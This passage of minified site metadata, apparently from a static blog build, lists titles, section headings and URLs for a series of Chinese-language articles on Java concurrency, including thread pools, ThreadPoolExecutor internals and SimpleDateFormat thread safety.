%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html",headers:[{level:2,title:"重现SimpleDateFormat类的线程安全问题",slug:"重现simpledateformat类的线程安全问题"},{level:2,title:"SimpleDateFormat类为何不是线程安全的?",slug:"simpledateformat类为何不是线程安全的"},{level:2,title:"解决SimpleDateFormat类的线程安全问题",slug:"解决simpledateformat类的线程安全问题"},{level:3,title:"1.局部变量法",slug:"_1-局部变量法"},{level:3,title:"2.synchronized锁方式",slug:"_2-synchronized锁方式"},{level:3,title:"3.Lock锁方式",slug:"_3-lock锁方式"},{level:3,title:"4.ThreadLocal方式",slug:"_4-threadlocal方式"},{level:3,title:"5.DateTimeFormatter方式",slug:"_5-datetimeformatter方式"},{level:3,title:"6.joda-time方式",slug:"_6-joda-time方式"},{level:3,title:"解决SimpleDateFormat类的线程安全问题的方案总结",slug:"解决simpledateformat类的线程安全问题的方案总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"不得不说的线程池与ThreadPoolExecutor类浅析",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"不得不说的线程池与ThreadPoolExecutor类浅析",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"今天,我们继续聊高并发相关的话题,今天,我们就从源码角度深入探讨下ThreadPoolExecutor类。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"不得不说的线程池与ThreadPoolExecutor类浅析"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html"},{name:"twitter:title",content:"不得不说的线程池与ThreadPoolExecutor类浅析"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html",relativePath:"md/concurrent/source/2020-03-30-006-不得不说的线程池与ThreadPoolExecutor类浅析.md",key:"v-256b335a",path:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html",headers:[{level:2,title:"一、抛砖引玉",slug:"一、抛砖引玉"},{level:2,title:"二、Thread直接创建线程的弊端",slug:"二、thread直接创建线程的弊端"},{level:2,title:"三、线程池的好处",slug:"三、线程池的好处"},{level:2,title:"四、线程池",slug:"四、线程池"},{level:3,title:"1.线程池类结构关系",slug:"_1-线程池类结构关系"},{level:3,title:"2.创建线程池常用的类——Executors",slug:"_2-创建线程池常用的类-executors"},{level:3,title:"3.线程池实例的几种状态",slug:"_3-线程池实例的几种状态"},{level:3,title:"4.合理配置线程的一些建议",slug:"_4-合理配置线程的一些建议"},{level:2,title:"五、线程池最核心的类之一——ThreadPoolExecutor",slug:"五、线程池最核心的类之一-threadpoolexecutor"},{level:3,title:"1.构造方法",slug:"_1-构造方法"},{level:3,title:"2.ThreadPoolExecutor提供的启动和停止任务的方法",slug:"_2-threadpoolexecutor提供的启动和停止任务的方法"},{level:3,title:"3.ThreadPoolExecutor提供的适用于监控的方法",slug:"_3-threadpoolexecutor提供的适用于监控的方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"深度解析线程池中那些重要的顶层接口和抽象类",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"深度解析线程池中那些重要的顶层接口和抽象类",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"接下来,我们就来看看线程池中那些非常重要的接口和抽象类,深度分析下线程池中是如何将抽象这一思想运用的淋漓尽致的!通过对线程池中接口和抽象类的分析,你会发现,整个线程池设计的是如此的优雅和强大,从线程池的代码设计中,我们学到的不只是代码而已!!题外话:膜拜Java大神Doug Lea,Java中的并发包正是这位老爷子写的,他是这个世界上对Java影响力最大的一个人。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"深度解析线程池中那些重要的顶层接口和抽象类"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html"},{name:"twitter:title",content:"深度解析线程池中那些重要的顶层接口和抽象类"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html",relativePath:"md/concurrent/source/2020-03-30-007-深度解析线程池中那些重要的顶层接口和抽象类.md",key:"v-dc4734cc",path:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html",headers:[{level:2,title:"一、接口和抽象类总览",slug:"一、接口和抽象类总览"},{level:2,title:"二、Executor接口",slug:"二、executor接口"},{level:2,title:"三、ExecutorService接口",slug:"三、executorservice接口"},{level:2,title:"四、AbstractExecutorService抽象类",slug:"四、abstractexecutorservice抽象类"},{level:2,title:"五、ScheduledExecutorService接口",slug:"五、scheduledexecutorservice接口"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"从源码角度分析创建线程池究竟有哪些方式",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"从源码角度分析创建线程池究竟有哪些方式",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在Java的高并发领域,线程池一直是一个绕不开的话题。有些童鞋一直在使用线程池,但是,对于如何创建线程池仅仅停留在使用Executors工具类的方式,那么,创建线程池究竟存在哪几种方式呢?就让我们一起从创建线程池的源码来深入分析究竟有哪些方式可以创建线程池。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"从源码角度分析创建线程池究竟有哪些方式"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html"},{name:"twitter:title",content:"从源码角度分析创建线程池究竟有哪些方式"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html",relativePath:"md/concurrent/source/2020-03-30-008-从源码角度分析创建线程池究竟有哪些方式.md",key:"v-0eb505a2",path:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html",headers:[{level:3,title:"使用Executors工具类创建线程池",slug:"使用executors工具类创建线程池"},{level:3,title:"使用ThreadPoolExecutor类创建线程池",slug:"使用threadpoolexecutor类创建线程池"},{level:3,title:"使用ForkJoinPool类创建线程池",slug:"使用forkjoinpool类创建线程池"},{level:3,title:"使用ScheduledThreadPoolExecutor类创建线程池",slug:"使用scheduledthreadpoolexecutor类创建线程池"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"对于线程池的核心类ThreadPoolExecutor来说,有哪些重要的属性和内部类为线程池的正确运行提供重要的保障呢?。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html"},{name:"twitter:title",content:"通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html",relativePath:"md/concurrent/source/2020-03-30-009-通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的.md",key:"v-296281ca",path:"/md/concurrent/source/2020-03-30-009-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ThreadPoolExecutor%E7%B1%BB%E6%98%AF%E5%A6%82%E4%BD%95%E4%BF%9D%E8%AF%81%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%AD%A3%E7%A1%AE%E8%BF%90%E8%A1%8C%E7%9A%84.html",headers:[{level:2,title:"ThreadPoolExecutor类中的重要属性",slug:"threadpoolexecutor类中的重要属性"},{level:3,title:"ctl相关的属性",slug:"ctl相关的属性"},{level:3,title:"其他重要属性",slug:"其他重要属性"},{level:2,title:"ThreadPoolExecutor类中的重要内部类",slug:"threadpoolexecutor类中的重要内部类"},{level:3,title:"Worker内部类",slug:"worker内部类"},{level:3,title:"拒绝策略内部类",slug:"拒绝策略内部类"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"ThreadPoolExecutor是Java线程池中最核心的类之一,它能够保证线程池按照正常的业务逻辑执行任务,并通过原子方式更新线程池每个阶段的状态",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html"},{name:"twitter:title",content:"通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html",relativePath:"md/concurrent/source/2020-03-30-010-通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程.md",key:"v-1a830fbc",path:"/md/concurrent/source/2020-03-30-010-%E9%80%9A%E8%BF%87ThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%89%A7%E8%A1%8C%E4%BB%BB%E5%8A%A1%E7%9A%84%E6%A0%B8%E5%BF%83%E6%B5%81%E7%A8%8B.html",headers:[{level:3,title:"核心逻辑概述",slug:"核心逻辑概述"},{level:3,title:"execute(Runnable)方法",slug:"execute-runnable-方法"},{level:3,title:"addWorker(Runnable, boolean)方法",slug:"addworker-runnable-boolean-方法"},{level:3,title:"addWorkerFailed(Worker)方法",slug:"addworkerfailed-worker-方法"},{level:3,title:"拒绝策略",slug:"拒绝策略"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"通过源码深度分析线程池中Worker线程的执行流程",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"通过源码深度分析线程池中Worker线程的执行流程",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"Worker类从类的结构上来看,继承了AQS(AbstractQueuedSynchronizer类)并实现了Runnable接口。本质上,Worker类既是一个同步组件,也是一个执行任务的线程。接下来,我们看下Worker类的源码,如下所示。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"通过源码深度分析线程池中Worker线程的执行流程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html"},{name:"twitter:title",content:"通过源码深度分析线程池中Worker线程的执行流程"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html",relativePath:"md/concurrent/source/2020-03-30-011-通过源码深度分析线程池中Worker线程的执行流程.md",key:"v-2274a2fc",path:"/md/concurrent/source/2020-03-30-011-%E9%80%9A%E8%BF%87%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E5%88%86%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%ADWorker%E7%BA%BF%E7%A8%8B%E7%9A%84%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B.html",headers:[{level:3,title:"Worker类分析",slug:"worker类分析"},{level:3,title:"runWorker(Worker)方法",slug:"runworker-worker-方法"},{level:3,title:"getTask()方法",slug:"gettask-方法"},{level:3,title:"beforeExecute(Thread, Runnable)方法",slug:"beforeexecute-thread-runnable-方法"},{level:3,title:"afterExecute(Runnable, Throwable)方法",slug:"afterexecute-runnable-throwable-方法"},{level:3,title:"processWorkerExit(Worker, boolean)方法",slug:"processworkerexit-worker-boolean-方法"},{level:3,title:"tryTerminate()方法",slug:"tryterminate-方法"},{level:3,title:"terminated()方法",slug:"terminated-方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"从源码角度深度解析线程池是如何实现优雅退出的",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"从源码角度深度解析线程池是如何实现优雅退出的",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在【高并发专题】中,我们从源码角度深度分析了线程池中那些重要的接口和抽象类、深度解析了线程池是如何创建的,ThreadPoolExecutor类有哪些属性和内部类,以及它们对线程池的重要作用。深度分析了线程池的整体核心流程,以及如何拆解Worker线程的执行代码,深度解析Worker线程的执行流程。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"从源码角度深度解析线程池是如何实现优雅退出的"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html"},{name:"twitter:title",content:"从源码角度深度解析线程池是如何实现优雅退出的"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html",relativePath:"md/concurrent/source/2020-03-30-012-从源码角度深度解析线程池是如何实现优雅退出的.md",key:"v-215c2d46",path:"/md/concurrent/source/2020-03-30-012-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%BC%98%E9%9B%85%E9%80%80%E5%87%BA%E7%9A%84.html",headers:[{level:3,title:"shutdown()方法",slug:"shutdown-方法"},{level:3,title:"shutdownNow()方法",slug:"shutdownnow-方法"},{level:3,title:"awaitTermination(long, TimeUnit)方法",slug:"awaittermination-long-timeunit-方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"ScheduledThreadPoolExecutor与Timer的区别和简单示例",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"ScheduledThreadPoolExecutor与Timer的区别和简单示例",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"JDK 1.5开始提供ScheduledThreadPoolExecutor类,ScheduledThreadPoolExecutor类继承ThreadPoolExecutor类重用线程池实现了任务的周期性调度功能。在JDK 1.5之前,实现任务的周期性调度主要使用的是Timer类和TimerTask类。本文,就简单介绍下ScheduledThreadPoolExecutor类与Timer类的区别,ScheduledThreadPoolExecutor类相比于Timer类来说,究竟有哪些优势,以及二者分别实现任务调度的简单示例。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"ScheduledThreadPoolExecutor与Timer的区别和简单示例"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html"},{name:"twitter:title",content:"ScheduledThreadPoolExecutor与Timer的区别和简单示例"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html",relativePath:"md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor与Timer的区别和简单示例.md",key:"v-6edfe1fe",path:"/md/concurrent/source/2020-03-30-013-ScheduledThreadPoolExecutor%E4%B8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html",headers:[{level:2,title:"二者的区别",slug:"二者的区别"},{level:3,title:"线程角度",slug:"线程角度"},{level:3,title:"系统时间敏感度",slug:"系统时间敏感度"},{level:3,title:"是否捕获异常",slug:"是否捕获异常"},{level:3,title:"任务是否具备优先级",slug:"任务是否具备优先级"},{level:3,title:"是否支持对任务排序",slug:"是否支持对任务排序"},{level:3,title:"能否获取返回的结果",slug:"能否获取返回的结果"},{level:2,title:"二者简单的示例",slug:"二者简单的示例"},{level:3,title:"Timer类简单示例",slug:"timer类简单示例"},{level:3,title:"ScheduledThreadPoolExecutor类简单示例",slug:"scheduledthreadpoolexecutor类简单示例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"深度解析ScheduledThreadPoolExecutor类的源代码",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"深度解析ScheduledThreadPoolExecutor类的源代码",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在【高并发专题】的专栏中,我们深度分析了ThreadPoolExecutor类的源代码,而ScheduledThreadPoolExecutor类是ThreadPoolExecutor类的子类。今天我们就来一起手撕ScheduledThreadPoolExecutor类的源代码。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"深度解析ScheduledThreadPoolExecutor类的源代码"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html"},{name:"twitter:title",content:"深度解析ScheduledThreadPoolExecutor类的源代码"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html",relativePath:"md/concurrent/source/2020-03-30-014-深度解析ScheduledThreadPoolExecutor类的源代码.md",key:"v-04a438ce",path:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html",headers:[{level:3,title:"构造方法",slug:"构造方法"},{level:3,title:"schedule方法",slug:"schedule方法"},{level:3,title:"decorateTask方法",slug:"decoratetask方法"},{level:3,title:"scheduleAtFixedRate方法",slug:"scheduleatfixedrate方法"},{level:3,title:"scheduleWithFixedDelay方法",slug:"schedulewithfixeddelay方法"},{level:3,title:"triggerTime方法",slug:"triggertime方法"},{level:3,title:"overflowFree方法",slug:"overflowfree方法"},{level:3,title:"delayedExecute方法",slug:"delayedexecute方法"},{level:3,title:"reExecutePeriodic方法",slug:"reexecuteperiodic方法"},{level:3,title:"onShutdown方法",slug:"onshutdown方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"今天,跟大家聊聊AQS中的CountDownLatch、Semaphore与CyclicBarrier,好了,进入今天的主题吧。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier.html"},{name:"twitter:title",content:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier